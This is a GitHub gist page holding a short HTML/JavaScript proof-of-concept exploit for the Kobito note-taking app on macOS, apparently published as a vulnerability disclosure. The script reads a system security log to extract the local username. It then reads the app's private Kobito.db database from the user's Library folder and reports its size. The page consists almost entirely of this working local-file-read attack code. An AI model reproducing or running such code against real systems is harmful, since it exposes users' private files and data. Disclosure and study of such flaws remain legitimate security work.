Skip to content

Instantly share code, notes, and snippets.

@mala
Last active December 29, 2016 17:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mala/f18da2e974b7f78e6fbb to your computer and use it in GitHub Desktop.
Save mala/f18da2e974b7f78e6fbb to your computer and use it in GitHub Desktop.
Kobito for OSX exploit
<div id="result"></div>
<script>
function log(t){
document.getElementById("result").innerText += t + "\n";
}
log(location);
var username;
var req = new XMLHttpRequest;
req.open("GET", "/private/var/db/mds/messages/se_SecurityMessages", true);
req.onload = function(){
username = req.responseText.match(/\/Users\/(.*?)\/Library\//)[1]
log("Username:" + username);
var path = "/Users/" + username + "/Library/Containers/com.qiita.Kobito/Data/Library/Kobito/Kobito.db";
req.open("GET", path, true);
req.onload = function(){ log("Kobito.db: " + req.responseText.length + " bytes")};
req.send();
};
req.send();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment